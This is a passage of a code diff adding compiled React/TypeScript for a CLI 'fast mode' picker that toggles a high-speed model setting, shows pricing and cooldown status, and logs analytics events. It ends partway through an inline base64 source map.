+  const isUnavailable = unavailableReason !== null;
+  let t2;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = formatModelPricing(getOpus46CostTier(true));
+    $[1] = t2;
+  } else {
+    t2 = $[1];
+  }
+  const pricing = t2;
+  let t3;
+  if ($[2] !== enableFastMode || $[3] !== isUnavailable || $[4] !== model || $[5] !== onDone || $[6] !== setAppState) {
+    t3 = function handleConfirm() {
+      if (isUnavailable) {
+        return;
+      }
+      applyFastMode(enableFastMode, setAppState);
+      logEvent("tengu_fast_mode_toggled", {
+        enabled: enableFastMode,
+        source: "picker" as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
+      });
+      if (enableFastMode) {
+        const fastIcon = getFastIconString(enableFastMode);
+        const modelUpdated = !isFastModeSupportedByModel(model) ? ` · model set to ${FAST_MODE_MODEL_DISPLAY}` : "";
+        onDone(`${fastIcon} Fast mode ON${modelUpdated} · ${pricing}`);
+      } else {
+        setAppState(_temp3);
+        onDone("Fast mode OFF");
+      }
+    };
+    $[2] = enableFastMode;
+    $[3] = isUnavailable;
+    $[4] = model;
+    $[5] = onDone;
+    $[6] = setAppState;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  const handleConfirm = t3;
+  let t4;
+  if ($[8] !== initialFastMode || $[9] !== isUnavailable || $[10] !== onDone || $[11] !== setAppState) {
+    t4 = function handleCancel() {
+      if (isUnavailable) {
+        if (initialFastMode) {
+          applyFastMode(false, setAppState);
+        }
+        onDone("Fast mode OFF", {
+          display: "system"
+        });
+        return;
+      }
+      const message = initialFastMode ? `${getFastIconString()} Kept Fast mode ON` : "Kept Fast mode OFF";
+      onDone(message, {
+        display: "system"
+      });
+    };
+    $[8] = initialFastMode;
+    $[9] = isUnavailable;
+    $[10] = onDone;
+    $[11] = setAppState;
+    $[12] = t4;
+  } else {
+    t4 = $[12];
+  }
+  const handleCancel = t4;
+  let t5;
+  if ($[13] !== isUnavailable) {
+    t5 = function handleToggle() {
+      if (isUnavailable) {
+        return;
+      }
+      setEnableFastMode(_temp4);
+    };
+    $[13] = isUnavailable;
+    $[14] = t5;
+  } else {
+    t5 = $[14];
+  }
+  const handleToggle = t5;
+  let t6;
+  if ($[15] !== handleConfirm || $[16] !== handleToggle) {
+    t6 = {
+      "confirm:yes": handleConfirm,
+      "confirm:nextField": handleToggle,
+      "confirm:next": handleToggle,
+      "confirm:previous": handleToggle,
+      "confirm:cycleMode": handleToggle,
+      "confirm:toggle": handleToggle
+    };
+    $[15] = handleConfirm;
+    $[16] = handleToggle;
+    $[17] = t6;
+  } else {
+    t6 = $[17];
+  }
+  let t7;
+  if ($[18] === Symbol.for("react.memo_cache_sentinel")) {
+    t7 = {
+      context: "Confirmation"
+    };
+    $[18] = t7;
+  } else {
+    t7 = $[18];
+  }
+  useKeybindings(t6, t7);
+  let t8;
+  if ($[19] === Symbol.for("react.memo_cache_sentinel")) {
+    t8 = <Text><FastIcon cooldown={isCooldown} /> Fast mode (research preview)</Text>;
+    $[19] = t8;
+  } else {
+    t8 = $[19];
+  }
+  const title = t8;
+  let t9;
+  if ($[20] !== isUnavailable) {
+    t9 = exitState => exitState.pending ? <Text>Press {exitState.keyName} again to exit</Text> : isUnavailable ? <Text>Esc to cancel</Text> : <Text>Tab to toggle · Enter to confirm · Esc to cancel</Text>;
+    $[20] = isUnavailable;
+    $[21] = t9;
+  } else {
+    t9 = $[21];
+  }
+  let t10;
+  if ($[22] !== enableFastMode || $[23] !== unavailableReason) {
+    t10 = unavailableReason ? <Box marginLeft={2}><Text color="error">{unavailableReason}</Text></Box> : <><Box flexDirection="column" gap={0} marginLeft={2}><Box flexDirection="row" gap={2}><Text bold={true}>Fast mode</Text><Text color={enableFastMode ? "fastMode" : undefined} bold={enableFastMode}>{enableFastMode ? "ON " : "OFF"}</Text><Text dimColor={true}>{pricing}</Text></Box></Box>{isCooldown && runtimeState.status === "cooldown" && <Box marginLeft={2}><Text color="warning">{runtimeState.reason === "overloaded" ? "Fast mode overloaded and is temporarily unavailable" : "You've hit your fast limit"}{" \xB7 resets in "}{formatDuration(runtimeState.resetAt - Date.now(), {
+            hideTrailingZeros: true
+          })}</Text></Box>}</>;
+    $[22] = enableFastMode;
+    $[23] = unavailableReason;
+    $[24] = t10;
+  } else {
+    t10 = $[24];
+  }
+  let t11;
+  if ($[25] === Symbol.for("react.memo_cache_sentinel")) {
+    t11 = <Text dimColor={true}>Learn more:{" "}<Link url="https://code.claude.com/docs/en/fast-mode">https://code.claude.com/docs/en/fast-mode</Link></Text>;
+    $[25] = t11;
+  } else {
+    t11 = $[25];
+  }
+  let t12;
+  if ($[26] !== handleCancel || $[27] !== t10 || $[28] !== t9) {
+    t12 = <Dialog title={title} subtitle={`High-speed mode for ${FAST_MODE_MODEL_DISPLAY}. Billed as extra usage at a premium rate. Separate rate limits apply.`} onCancel={handleCancel} color="fastMode" inputGuide={t9}>{t10}{t11}</Dialog>;
+    $[26] = handleCancel;
+    $[27] = t10;
+    $[28] = t9;
+    $[29] = t12;
+  } else {
+    t12 = $[29];
+  }
+  return t12;
+}
+function _temp4(prev_0) {
+  return !prev_0;
+}
+function _temp3(prev) {
+  return {
+    ...prev,
+    fastMode: false
+  };
+}
+function _temp2(s_0) {
+  return s_0.fastMode;
+}
+function _temp(s) {
+  return s.mainLoopModel;
+}
+async function handleFastModeShortcut(enable: boolean, getAppState: () => AppState, setAppState: (f: (prev: AppState) => AppState) => void): Promise<string> {
+  const unavailableReason = getFastModeUnavailableReason();
+  if (unavailableReason) {
+    return `Fast mode unavailable: ${unavailableReason}`;
+  }
+  const {
+    mainLoopModel
+  } = getAppState();
+  applyFastMode(enable, setAppState);
+  logEvent('tengu_fast_mode_toggled', {
+    enabled: enable,
+    source: 'shortcut' as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
+  });
+  if (enable) {
+    const fastIcon = getFastIconString(true);
+    const modelUpdated = !isFastModeSupportedByModel(mainLoopModel) ? ` · model set to ${FAST_MODE_MODEL_DISPLAY}` : '';
+    const pricing = formatModelPricing(getOpus46CostTier(true));
+    return `${fastIcon} Fast mode ON${modelUpdated} · ${pricing}`;
+  } else {
+    return `Fast mode OFF`;
+  }
+}
+export async function call(onDone: LocalJSXCommandOnDone, context: LocalJSXCommandContext, args?: string): Promise<React.ReactNode | null> {
+  if (!isFastModeEnabled()) {
+    return null;
+  }
+
+  // Fetch org fast mode status before showing the picker. We must know
+  // whether the org has disabled fast mode before allowing any toggle.
+  // If a startup prefetch is already in flight, this awaits it.
+  await prefetchFastModeStatus();
+  const arg = args?.trim().toLowerCase();
+  if (arg === 'on' || arg === 'off') {
+    const result = await handleFastModeShortcut(arg === 'on', context.getAppState, context.setAppState);
+    onDone(result);
+    return null;
+  }
+  const unavailableReason = getFastModeUnavailableReason();
+  logEvent('tengu_fast_mode_picker_shown', {
+    unavailable_reason: (unavailableReason ?? '') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
+  });
+  return <FastModePicker onDone={onDone} unavailableReason={unavailableReason} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZVN0YXRlIiwiQ29tbWFuZFJlc3VsdERpc3BsYXkiLCJMb2NhbEpTWENvbW1hbmRDb250ZXh0IiwiRGlhbG9nIiwiRmFzdEljb24iLCJnZXRGYXN0SWNvblN0cmluZyIsIkJveCIsIkxpbmsiLCJUZXh0IiwidXNlS2V5YmluZGluZ3MiLCJBbmFseXRpY3NNZXRhZGF0YV9JX1ZFUklGSUVEX1RISVNfSVNfTk9UX0NPREVfT1JfRklMRVBBVEhTIiwibG9nRXZlbnQiLCJBcHBTdGF0ZSIsInVzZUFwcFN0YXRlIiwidXNlU2V0QXBwU3RhdGUiLCJMb2NhbEpTWENvbW1hbmRPbkRvbmUiLCJjbGVhckZhc3RNb2RlQ29vbGRvd24iLCJGQVNUX01PREVfTU9ERUxfRElTUExBWSIsImdldEZhc3RNb2RlTW9kZWwiLCJnZXRGYXN0TW9kZVJ1bnRpbWVTdGF0ZSIsImdldEZhc3RNb2RlVW5hdmFpbGFibGVSZWFzb24iLCJpc0Zhc3RNb2RlRW5hYmxlZCIsImlzRmFzdE1vZGVTdXBwb3J0ZWRCeU1vZGVsIiwicHJlZmV0Y2hGYXN0TW9kZVN0YXR1cyIsImZvcm1hdER1cmF0aW9uIiwiZm9ybWF0TW9kZWxQcmljaW5nIiwiZ2V0T3B1czQ2Q29zdFRpZXIiLCJ1cGRhdGVTZXR0aW5nc0ZvclNvdXJjZSIsImFwcGx5RmFzdE1vZGUiLCJlbmFibGUiLCJzZXRBcHBTdGF0ZSIsImYiLCJwcmV2IiwiZmFzdE1vZGUiLCJ1bmRlZmluZWQiLCJuZWVkc01vZGVsU3dpdGNoIiwibWFpbkxvb3BNb2RlbCIsIm1haW5Mb29wTW9kZWxGb3JTZXNzaW9uIiwiRmFzdE1vZGVQaWNrZXIiLCJ0MCIsIiQiLCJfYyIsIm9uRG9uZSIsInVuYXZhaWxhYmxlUmVhc29uIiwibW9kZWwiLCJfdGVtcCIsImluaXRpYWxGYXN0TW9kZSIsIl90ZW1wMiIsImVuYWJsZUZhc3RNb2RlIiwic2V0RW5hYmxlRmFzdE1vZGUiLCJ0MSIsIlN5bWJvbCIsImZvciIsInJ1bnRpbWVTdGF0ZSIsImlzQ29vbGRvd24iLCJzdGF0dXMiLCJpc1VuYXZhaWxhYmxlIiwidDIiLCJwcmljaW5nIiwidDMiLCJoYW5kbGVDb25maXJtIiwiZW5hYmxlZCIsInNvdXJjZSIsImZhc3RJY29uIiwibW9kZWxVcGRhdGVkIiwiX3RlbXAzIiwidDQiLCJoYW5kbGVDYW5jZWwiLCJkaXNwbGF5IiwibWVzc2FnZSIsInQ1IiwiaGFuZGxlVG9nZ2xlIiwiX3RlbXA0IiwidDYiLCJ0NyIsImNvbnRleHQiLCJ0OCIsInRpdGxlIiwidDkiLCJleGl0U3RhdGUiLCJwZW5kaW5nIiwia2V5TmFtZSIsInQxMCIsInJlYXNvbiIsInJlc2V0QXQiLCJEYXRlIiwibm93IiwiaGlkZVRyYWlsaW5nWmVyb3MiLCJ0MTEiLCJ0MTIiLCJwcmV2XzAiLCJzXzAiLCJzIiwiaGFuZGxlRmFzdE1vZGVTaG9ydGN1dCIsImdldEFwcFN0YXRlIiwiUHJvbWlzZSIsImNhbGwiLCJhcmdzIiwiUmVhY3ROb2RlIiwiYXJnIiwidHJpbSIsInRvTG93ZXJDYXNlIiwicmVzdWx0IiwidW5hdmFpbGFibGVfcmVhc29uIl0sInNvdXJjZXMiOlsiZmFzdC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VTdGF0ZSB9IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHR5cGUge1xuICBDb21tYW5kUmVzdWx0RGlzcGxheSxcbiAgTG9jYWxKU1hDb21tYW5kQ29udGV4dCxcbn0gZnJvbSAnLi4vLi4vY29tbWFuZHMuanMnXG5pbXBvcnQgeyBEaWFsb2cgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL2Rlc2lnbi1zeXN0ZW0vRGlhbG9nLmpzJ1xuaW1wb3J0IHsgRmFzdEljb24sIGdldEZhc3RJY29uU3RyaW5nIH0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9GYXN0SWNvbi5qcydcbmltcG9ydCB7IEJveCwgTGluaywgVGV4dCB9IGZyb20gJy4uLy4uL2luay5qcydcbmltcG9ydCB7IHVzZUtleWJpbmRpbmdzIH0gZnJvbSAnLi4vLi4va2V5YmluZGluZ3MvdXNlS2V5YmluZGluZy5qcydcbmltcG9ydCB7XG4gIHR5cGUgQW5hbHl0aWNzTWV0YWRhdGFfSV9WRVJJRklFRF9USElTX0lTX05PVF9DT0RFX09SX0ZJTEVQQVRIUyxcbiAgbG9nRXZlbnQsXG59IGZyb20gJy4uLy4uL3NlcnZpY2VzL2FuYWx5dGljcy9pbmRleC5qcydcbmltcG9ydCB7XG4gIHR5cGUgQXBwU3RhdGUsXG4gIHVzZUFwcFN0YXRlLFxuICB1c2VTZXRBcHBTdGF0ZSxcbn0gZnJvbSAnLi4vLi4vc3RhdGUvQXBwU3RhdGUuanMnXG5pbXBvcnQgdHlwZSB7IExvY2FsSlNYQ29tbWFuZE9uRG9uZSB9IGZyb20gJy4uLy4uL3R5cGVzL2NvbW1hbmQuanMnXG5pbXBvcnQge1xuICBjbGVhckZhc3RNb2RlQ29vbGRvd24sXG4gIEZBU1RfTU9ERV9NT0RFTF9ESVNQTEFZLFxuICBnZXRGYXN0TW9kZU1vZGVsLFxuICBnZXRGYXN0TW9kZVJ1bnRpbWVTdGF0ZSxcbiAgZ2V0RmFzdE1vZGVVbmF2YWlsYWJsZVJlYXNvbixcbiAgaXNGYXN0TW9kZUVuYWJsZWQsXG4gIGlzRmFzdE1vZGVTdXBwb3J0ZWRCeU1vZGVsLFxuICBwcmVmZXRjaEZhc3RNb2RlU3RhdHVzLFxufSBmcm9tICcuLi8uLi91dGlscy9mYXN0TW9kZS5qcydcbmltcG9ydCB7IGZvcm1hdER1cmF0aW9uIH0gZnJvbSAnLi4vLi4vdXRpbHMvZm9ybWF0LmpzJ1xuaW1wb3J0IHsgZm9ybWF0TW9kZWxQcmljaW5nLCBnZXRPcHVzNDZDb3N0VGllciB9IGZyb20gJy4uLy4uL3V0aWxzL21vZGVsQ29zdC5qcydcbmltcG9ydCB7IHVwZGF0ZVNldHRpbmdzRm9yU291cmNlIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2V0dGluZ3Mvc2V0dGluZ3MuanMnXG5cbmZ1bmN0aW9uIGFwcGx5RmFzdE1vZGUoXG4gIGVuYWJsZTogYm9vbGVhbixcbiAgc2V0QXBwU3RhdGU6IChmOiAocHJldjogQXBwU3RhdGUpID0+IEFwcFN0YXRlKSA9PiB2b2lkLFxuKTogdm9pZCB7XG4gIGNsZWFyRmFzdE1vZGVDb29sZG93bigpXG4gIHVwZGF0ZVNldHRpbmdzRm9yU291cmNlKCd1c2VyU2V0dGluZ3MnLCB7XG4gICAgZmFzdE1vZGU6IGVuYWJsZSA/IHRydWUgOiB1bmRlZmluZWQsXG4gIH0pXG4gIGlmIChlbmFibGUpIHtcbiAgICBzZXRBcHBTdGF0ZShwcmV2ID0+IHtcbiAgICAgIC8vIE9ubHkgc3dpdGNoIG1vZGVsIGlmIGN1cnJlbnQgbW9kZWwgZG9lc24ndCBzdXBwb3J0IGZhc3QgbW9kZVxuICAgICAgY29uc3QgbmVlZHNNb2RlbFN3aXRjaCA9ICFpc0Zhc3RNb2RlU3VwcG9ydGVkQnlNb2RlbChwcmV2Lm1haW5Mb29wTW9kZWwpXG4gICAgICByZXR1cm4ge1xuICAgICAgICAuLi5wcmV2LFxuICAgICAgICAuLi4obmVlZHNNb2RlbFN3aXRjaFxuICAgICAgICAgID8geyBtYWluTG9vcE1vZGVsOiBnZXRGYXN0TW9kZU1vZGVsKCksIG1haW5Mb29wTW9kZWxGb3JTZXNzaW9uOiBudWxsIH1cbiAgICAgICAgICA6IHt9KSxcbiAgICAgICAgZmFzdE1vZGU6IHRydWUsXG4gICAgICB9XG4gICAgfSlcbiAgfSBlbHNlIHtcbiAgICBzZXRBcHBTdGF0ZShwcmV2ID0+ICh7IC4uLnByZXYsIGZhc3RNb2RlOiBmYWxzZSB9KSlcbiAgfVxufVxuXG5leHBvcnQgZnVuY3Rpb24gRmFzdE1vZGVQaWNrZXIoe1xuICBvbkRvbmUsXG4gIHVuYXZhaWxhYmxlUmVhc29uLFxufToge1xuICBvbkRvbmU6IChcbiAgICByZXN1bHQ/OiBzdHJpbmcsXG4gICAgb3B0aW9ucz86IHsgZGlzcGxheT86IENvbW1hbmRSZXN1bHREaXNwbGF5IH0sXG4gICkgPT4gdm9pZFxuICB1bmF2YWlsYWJsZVJlYXNvbjogc3RyaW5nIHwgbnVsbFxufSk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IG1vZGVsID0gdXNlQXBwU3RhdGUocyA9PiBzLm1haW5Mb29wTW9kZWwpXG4gIGNvbnN0IGluaXRpYWxGYXN0TW9kZSA9IHVzZUFwcFN0YXRlKHMgPT4gcy5mYXN0TW9kZSlcbiAgY29uc3Qgc2V0QXBwU3RhdGUgPSB1c2VTZXRBcHBTdGF0ZSgpXG4gIGNvbnN0IFtlbmFibGVGYXN0TW9kZSwgc2V0RW5hYmxlRmFzdE1vZGVdID0gdXNlU3RhdGUoaW5pdGlhbEZhc3RNb2RlID8/IGZhbHNlKVxuICBjb25zdCBydW50aW1lU3RhdGUgPSBnZXRGYXN0TW9kZVJ1bnRpbWVTdGF0ZSgpXG4gIGNvbnN0IGlzQ29vbGRvd24gPSBydW50aW1lU3RhdGUuc3RhdHVzID09PSAnY29vbGRvd24nXG4gIGNvbnN0IGlzVW5hdmFpbGFibGUgPSB1bmF2YWlsYWJsZVJlYXNvbiAhPT0gbnVsbFxuICBjb25zdCBwcmljaW5nID0gZm9ybWF0TW9kZWxQcmljaW5nKGdldE9wdXM0NkNvc3RUaWVyKHRydWUpKVxuXG4gIGZ1bmN0aW9uIGhhbmRsZUNvbmZpcm0oKTogdm9pZCB7XG4gICAgaWYgKGlzVW5hdmFpbGFibGUpIHJldHVyblxuICAgIGFwcGx5RmFzdE1vZGUoZW5hYmxlRmFzdE1vZGUsIHNldEFwcFN0YXRlKVxuICAgIGxvZ0V2ZW50KCd0ZW5ndV9mYXN0X21vZGVfdG9nZ2xlZCcsIHtcbiAgICAgIGVuYWJsZWQ6IGVuYWJsZUZhc3RNb2RlLFxuICAgICAgc291cmNlOlxuICAgICAgICAncGlja2VyJyBhcyBBbmFseXRpY3NNZXRhZGF0YV9JX1ZFUklGSUVEX1RISVNfSVNfTk9UX0NPREVfT1JfRklMRVBBVEhTLFxuICAgIH0pXG4gICAgaWYgKGVuYWJsZUZhc3RNb2RlKSB7XG4gICAgICBjb25zdCBmYXN0SWNvbiA9IGdldEZhc3RJY29uU3RyaW5nKGVuYWJsZUZhc3RNb2RlKVxuICAgICAgY29uc3QgbW9kZWxVcGRhdGVkID0gIWlzRmFzdE1vZGVTdXBwb3J0ZWRCeU1vZGVsKG1vZGVsKVxuICAgICAgICA/IGAgwrcgbW9kZWwgc2V0IHRvICR7RkFTVF9NT0RFX01PREVMX0RJU1BMQVl9YFxuICAgICAgICA6ICcnXG4gICAgICBvbkRvbmUoYCR7ZmFzdEljb259IEZhc3QgbW9kZSBPTiR7bW9kZWxVcGRhdGVkfSDCtyAke3ByaWNpbmd9YClcbiAgICB9IGVsc2Uge1xuICAgICAgc2V0QXBwU3RhdGUocHJldiA9PiAoeyAuLi5wcmV2LCBmYXN0TW9kZTogZmFsc2UgfSkpXG4gICAgICBvbkRvbmUoYEZhc3QgbW9kZSBPRkZgKVxuICAgIH1cbiAgfVxuXG4gIGZ1bmN0aW9uIGhhbmRsZUNhbmNlbCgpOiB2b2lkIHtcbiAgICBpZiAoaXNVbmF2YWlsYWJsZSkge1xuICAgICAgLy8gRW5zdXJlIGZhc3QgbW9kZSBpcyBvZmYgaWYgdGhlIG9yZyBoYXMgZGlzYWJsZWQgaXRcbiAgICAgIGlmIChpbml0aWFsRmFzdE1vZGUpIHtcbiAgICAgICAgYXBwbHlGYXN0TW9kZShmYWxzZSwgc2V0QXBwU3RhdGUpXG4gICAgICB9XG4gICAgICBvbkRvbmUoJ0Zhc3QgbW9kZSBPRkYnLCB7IGRpc3BsYXk6ICdzeXN0ZW0nIH0pXG4gICAgICByZXR1cm5cbiAgICB9XG4gICAgY29uc3QgbWVzc2FnZSA9IGluaXRpYWxGYXN0TW9kZVxuICAgICAgPyBgJHtnZXRGYXN0SWNvblN0cmluZygpfSBLZXB0IEZhc3QgbW9kZSBPTmBcbiAgICAgIDogYEtlcHQgRmFzdCBtb2RlIE9GRmBcbiAgICBvbkRvbmUobWVzc2FnZSwgeyBkaXNwbGF5OiAnc3lzdGVtJyB9KVxuICB9XG5cbiAgZnVuY3Rpb24gaGFuZGxlVG9nZ2xlKCk6IHZvaWQge1xuICAgIGlmIChpc1VuYXZhaWxhYmxlKSByZXR1cm5cbiAgICBzZXRFbmFibGVGYXN0TW9kZShwcmV2ID0+ICFwcmV2KVxuICB9XG5cbiAgdXNlS2V5YmluZGluZ3MoXG4gICAge1xuICAgICAgJ2NvbmZpcm06eWVzJzogaGFuZGxlQ29uZmlybSxcbiAgICAgICdjb25maXJtOm5leHRGaWVsZCc6IGhhbmRsZVRvZ2dsZSxcbiAgICAgICdjb25maXJtOm5leHQnOiBoYW5kbGVUb2dnbGUsXG4gICAgICAnY29uZmlybTpwcmV2aW91cyc6IGhhbmRsZVRvZ2dsZSxcbiAgICAgICdjb25maXJtOmN5Y2xlTW9kZSc6IGhhbmRsZVRvZ2dsZSxcbiAgICAgICdjb25maXJtOnRvZ2dsZSc6IGhhbmRsZVRvZ2dsZSxcbiAgICB9LFxuICAgIHsgY29udGV4dDogJ0NvbmZpcm1hdGlvbicgfSxcbiAgKVxuXG4gIGNvbnN0IHRpdGxlID0gKFxuICAgIDxUZXh0PlxuICAgICAgPEZhc3RJY29uIGNvb2xkb3duPXtpc0Nvb2xkb3dufSAvPiBGYXN0IG1vZGUgKHJlc2VhcmNoIHByZXZpZXcpXG4gICAgPC9UZXh0PlxuICApXG5cbiAgcmV0dXJuIChcbiAgICA8RGlhbG9nXG4gICAgICB0aXRsZT17dGl0bGV9XG4gICAgICBzdWJ0aXRsZT17YEhpZ2gtc3BlZWQgbW9kZSBmb3IgJHtGQVNUX01PREVfTU9ERUxfRElTUExBWX0uIEJpbGxlZCBhcyBleHRyYSB1c2FnZSBhdCBhIHByZW1pdW0gcmF0ZS4gU2VwYXJhdGUgcmF0ZSBsaW1pdHMgYXBwbHkuYH1cbiAgICAgIG9uQ2FuY2VsPXtoYW5kbGVDYW5jZWx9XG4gICAgICBjb2xvcj1cImZhc3RNb2RlXCJcbiAgICAgIGlucHV0R3VpZGU9e2V4aXRTdGF0ZSA9PlxuICAgICAgICBleGl0U3RhdGUucGVuZGluZyA/IChcbiAgICAgICAgICA8VGV4dD5QcmVzcyB7ZXhpdFN0YXRlLmtleU5hbWV9IGFnYWluIHRvIGV4aXQ8L1RleHQ+XG4gICAgICAgICkgOiBpc1VuYXZhaWxhYmxlID8gKFxuICAgICAgICAgIDxUZXh0PkVzYyB0byBjYW5jZWw8L1RleHQ+XG4gICAgICAgICkgOiAoXG4gICAgICAgICAgPFRleHQ+VGFiIHRvIHRvZ2dsZSDCtyBFbnRlciB0byBjb25maXJtIMK3IEVzYyB0byBjYW5jZWw8L1RleHQ+XG4gICAgICAgIClcbiAgICAgIH1cbiAgICA+XG4gICAgICB7dW5hdmFpbGFibGVSZWFzb24gPyAoXG4gICAgICAgIDxCb3ggbWFyZ2luTGVmdD17Mn0+XG4gICAgICAgICAgPFRleHQgY29sb3I9XCJlcnJvclwiPnt1bmF2YWlsYWJsZVJlYXNvbn08L1RleHQ+XG4gICAgICAgIDwvQm94PlxuICAgICAgKSA6IChcbiAgICAgICAgPD5cbiAgICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIiBnYXA9ezB9IG1hcmdpbkxlZnQ9ezJ9PlxuICAgICAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwicm93XCIgZ2FwPXsyfT5cbiAgICAgICAgICAgICAgPFRleHQgYm9sZD5GYXN0IG1vZGU8L1RleHQ+XG4gICAgICAgICAgICAgIDxUZXh0XG4gICAgICAgICAgICAgICAgY29sb3I9e2VuYWJsZUZhc3RNb2RlID8gJ2Zhc3RNb2RlJyA6IHVuZGVmaW5lZH1cbiAgICAgICAgICAgICAgICBib2xkPXtlbmFibGVGYXN0TW9kZX1cbiAgICAgICAgICAgICAgPlxuICAgICAgICAgICAgICAgIHtlbmFibGVGYXN0TW9kZSA/ICdPTiAnIDogJ09GRid9XG4gICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e3ByaWNpbmd9PC9UZXh0PlxuICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgPC9Cb3g+XG5cbiAgICAgICAgICB7aXNDb29sZG93biAmJiBydW50aW1lU3RhdGUuc3RhdHVzID09PSAnY29vbGRvd24nICYmIChcbiAgICAgICAgICAgIDxCb3ggbWFyZ2luTGVmdD17Mn0+XG4gICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwid2FybmluZ1wiPlxuICAgICAgICAgICAgICAgIHtydW50aW1lU3RhdGUucmVhc29uID09PSAnb3ZlcmxvYWRlZCdcbiAgICAgICAgICAgICAgICAgID8gJ0Zhc3QgbW9kZSBvdmVybG9hZGVkIGFuZCBpcyB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZSdcbiAgICAgICAgICAgICAgICAgIDogXCJZb3UndmUgaGl0IHlvdXIgZmFzdCBsaW1pdFwifVxuICAgICAgICAgICAgICAgIHsnIMK3IHJlc2V0cyBpbiAnfVxuICAgICAgICAgICAgICAgIHtmb3JtYXREdXJhdGlvbihydW50aW1lU3RhdGUucmVzZXRBdCAtIERhdGUubm93KCksIHtcbiAgICAgICAgICAgICAgICAgIGhpZGVUcmFpbGluZ1plcm9zOiB0cnVlLFxuICAgICAgICAgICAgICAgIH0pfVxuICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICApfVxuICAgICAgICA8Lz5cbiAgICAgICl9XG4gICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgTGVhcm4gbW9yZTp7JyAnfVxuICAgICAgICA8TGluayB1cmw9XCJodHRwczovL2NvZGUuY2xhdWRlLmNvbS9kb2NzL2VuL2Zhc3QtbW9kZVwiPlxuICAgICAgICAgIGh0dHBzOi8vY29kZS5jbGF1ZGUuY29tL2RvY3MvZW4vZmFzdC1tb2RlXG4gICAgICAgIDwvTGluaz5cbiAgICAgIDwvVGV4dD5cbiAgICA8L0RpYWxvZz5cbiAgKVxufVxuXG5hc3luYyBmdW5jdGlvbiBoYW5kbGVGYXN0TW9kZVNob3J0Y3V0KFxuICBlbmFibGU6IGJvb2xlYW4sXG4gIGdldEFwcFN0YXRlOiAoKSA9PiBBcHBTdGF0ZSxcbiAgc2V0QXBwU3RhdGU6IChmOiAocHJldjogQXBwU3RhdGUpID0+IEFwcFN0YXRlKSA9PiB2b2lkLFxuKTogUHJvbWlzZTxzdHJpbmc+IHtcbiAgY29uc3QgdW5hdmFpbGFibGVSZWFzb24gPSBnZXRGYXN0TW9kZVVuYXZhaWxhYmxlUmVhc29uKClcbiAgaWYgKHVuYXZhaWxhYmxlUmVhc29uKSB7XG4gICAgcmV0dXJuIGBGYXN0IG1vZGUgdW5hdmFpbGFibGU6ICR7dW5hdmFpbGFibGVSZWFzb259YFxuICB9XG5cbiAgY29uc3QgeyBtYWluTG9vcE1vZGVsIH0gPSBnZXRBcHBTdGF0ZSgpXG4gIGFwcGx5RmFzdE1vZGUoZW5hYmxlLCBzZXRBcHBTdGF0ZSlcbiAgbG9nRXZlbnQoJ3Rlbmd1X2Zhc3RfbW9kZV90b2dnbGVkJywge1xuICAgIGVuYWJsZWQ6IGVuYWJsZSxcbiAgICBzb3VyY2U6XG4gICAgICAnc2hvcnRjdXQnIGFzIEFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMsXG4gIH0pXG5cbiAgaWYgKGVuYWJsZSkge1xuICAgIGNvbnN0IGZhc3RJY29uID0gZ2V0RmFzdEljb25TdHJpbmcodHJ1ZSlcbiAgICBjb25zdCBtb2RlbFVwZGF0ZWQgPSAhaXNGYXN0TW9kZVN1cHBvcnRlZEJ5TW9kZWwobWFpbkxvb3BNb2RlbClcbiAgICAgID8gYCDCtyBtb2RlbCBzZXQgdG8gJHtGQVNUX01PREVfTU9ERUxfRElTUExBWX1gXG4gICAgICA6ICcnXG4gICAgY29uc3QgcHJpY2luZyA9IGZvcm1hdE1vZGVsUHJpY2luZyhnZXRPcHVzNDZDb3N0VGllcih0cnVlKSlcbiAgICByZXR1cm4gYCR7ZmFzdEljb259IEZhc3QgbW9kZSBPTiR7bW9kZWxVcGRhdGVkfSDCtyAke3ByaWNpbmd9YFxuICB9IGVsc2Uge1xuICAgIHJldHVybiBgRmFzdCBtb2RlIE9GRmBcbiAgfVxufVxuXG5leHBvcnQgYXN5bmMgZnVuY3Rpb24gY2FsbChcbiAgb25Eb25lOiBMb2NhbEpTWENvbW1hbmRPbkRvbmUsXG4gIGNvbnRleHQ6IExvY2FsSlNYQ29tbWFuZENvbnRleHQsXG4gIGFyZ3M/OiBzdHJpbmcsXG4pOiBQcm9taXNlPFJlYWN0LlJlYWN0Tm9kZSB8IG51bGw+IHtcbiAgaWYgKCFpc0Zhc3RNb2RlRW5hYmxlZCgpKSB7XG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIC8vIEZldGNoIG9yZyBmYXN0IG1vZGUgc3RhdHVzIGJlZm9yZSBzaG93aW5nIHRoZSBwaWNrZXIuIFdlIG11c3Qga25vd1xuICAvLyB3aGV0aGVyIHRoZSBvcmcgaGFzIGRpc2FibGVkIGZhc3QgbW9kZSBiZWZvcmUgYWxsb3dpbmcgYW55IHRvZ2dsZS5cbiAgLy8gSWYgYSBzdGFydHVwIHB